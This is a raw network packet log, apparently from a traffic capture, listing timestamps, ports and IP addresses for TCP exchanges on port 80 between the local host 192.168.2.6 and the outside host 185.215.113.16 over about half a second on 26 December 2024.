Dec 26, 2024 12:52:14.723999023 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.724680901 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.724785089 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.724879026 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.725548029 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.725677967 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.725828886 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.726449966 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.726500988 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.726540089 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.727260113 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.727336884 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.727391005 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.728084087 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.728208065 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.728318930 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.728923082 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.729031086 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.729072094 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.729789972 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.729882002 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.730118990 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.730642080 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.730786085 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.730829954 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.731589079 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.731614113 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.731662989 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.732316971 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.732436895 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.732479095 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.733216047 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.733299017 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.733401060 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.734051943 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.734148979 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.734297991 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.734962940 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.735035896 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.735078096 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.735748053 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.736040115 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.736080885 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.736613989 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.736725092 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.736915112 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.737442970 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.737585068 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.737663984 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.738276005 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.738384008 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.738543034 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.739126921 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.824757099 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.905179024 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.905199051 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.905257940 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.905519009 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.905538082 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.905742884 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.906306028 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.906559944 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.906610012 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.907263994 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.907377958 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.907417059 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.908071995 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.908198118 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.908261061 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.908859968 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.908998966 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.909267902 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.909737110 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.909847021 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.909889936 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.910594940 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.910686970 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.910725117 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.911472082 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.911560059 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.911622047 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.912334919 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.912539005 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.912614107 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.913136005 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.913274050 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.913324118 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.913999081 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.914153099 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.914995909 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.915055037 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.915277958 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.915474892 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.915879965 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.915992975 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.916156054 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.916764975 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.916868925 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.916906118 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.917591095 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.917716980 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.917752981 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.918586016 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.918665886 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.918716908 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.919373035 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.919454098 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.919487000 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.920022964 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.920113087 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.920150995 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.920800924 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.920900106 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.920937061 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.921663046 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.921739101 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.921780109 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.922508955 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.922650099 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.922715902 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.923366070 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.923547983 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.923588037 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.924251080 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.924316883 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.924355030 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.925051928 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.925195932 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.925339937 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.925887108 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.925998926 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.926132917 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.926732063 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.926871061 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.926924944 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.927624941 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.927742004 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.927778959 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.928493023 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.928618908 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.928728104 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.929385900 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.929500103 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.929548025 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.930224895 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.930314064 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.930366039 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.931119919 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.931220055 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.931406975 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.932209015 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.932302952 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.932338953 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.933013916 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.933125019 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.933279991 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.933908939 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.933979988 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.934026003 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.934617043 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.934698105 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.934871912 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.935585022 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.935754061 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.935815096 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.936398029 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.936517000 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.936557055 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.937129974 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.937220097 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.937345982 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.937896967 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.937963009 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.938117027 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.938692093 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.938802004 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.938891888 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.939537048 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.939629078 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.939918995 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.940445900 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.940495014 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.940534115 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.941277027 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.941364050 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.941421032 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.942084074 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.942270994 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.942358017 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.942961931 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.943140984 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.943190098 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.943806887 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.943825960 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.943867922 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.944768906 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.944818020 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.944869041 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.945518017 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.945576906 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.945729017 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.946388006 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.946470976 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.946688890 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.947237015 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.947377920 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.947546959 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.948065042 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.948214054 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.948299885 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.948952913 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.949090004 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.949759007 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.949810028 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.115875006 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.115936995 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.115957022 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.116009951 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.116075039 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.116122961 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.116697073 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.116813898 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.116885900 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.117588997 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.117686987 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.117875099 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.118426085 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.118541956 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.118766069 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.119246960 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.119319916 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.119362116 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.120131016 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.120285988 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.120770931 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.120980024 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.121095896 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.121238947 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.121850967 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.121974945 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.122029066 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.122827053 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.123009920 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.123209953 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.123532057 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.123680115 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.123722076 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.124439001 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.124560118 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.124800920 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.125246048 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.125329971 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.125374079 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.126148939 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.126280069 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.126334906 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.126935959 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.127021074 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.127058983 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.127830982 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.127954006 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.127999067 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.128788948 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.128861904 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.128906965 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.129570007 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.129645109 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.129909992 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.130462885 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.130604982 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.130722046 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.131308079 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.131407976 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.131469011 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.132087946 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.132149935 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.132441998 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.133009911 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.133102894 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.133279085 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.133743048 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.133874893 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.134073019 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.134865999 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.135030031 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.135081053 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.135607958 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.135689974 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.135760069 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.136379004 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.136790037 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.136841059 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.137161016 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.137295961 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.137340069 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.138040066 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.138104916 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.138354063 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.138951063 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.138986111 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.139853954 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.139904976 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.139906883 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.140568972 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.140625954 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.140670061 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.140806913 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.141426086 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.141527891 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.141793013 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.142330885 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.142458916 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.142503977 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.143157005 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.143258095 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.143306971 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.143970013 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.144113064 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.144268036 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.144869089 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.145004988 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.145047903 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.145721912 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.145837069 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.145883083 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.146549940 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.146570921 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.146611929 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.147667885 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.147789955 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.148032904 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.148538113 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.148596048 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.149318933 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.149375916 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.149405956 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.149955988 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.150002003 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.150080919 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.150885105 CET	80	49842	185.215.113.16	192.168.2.6
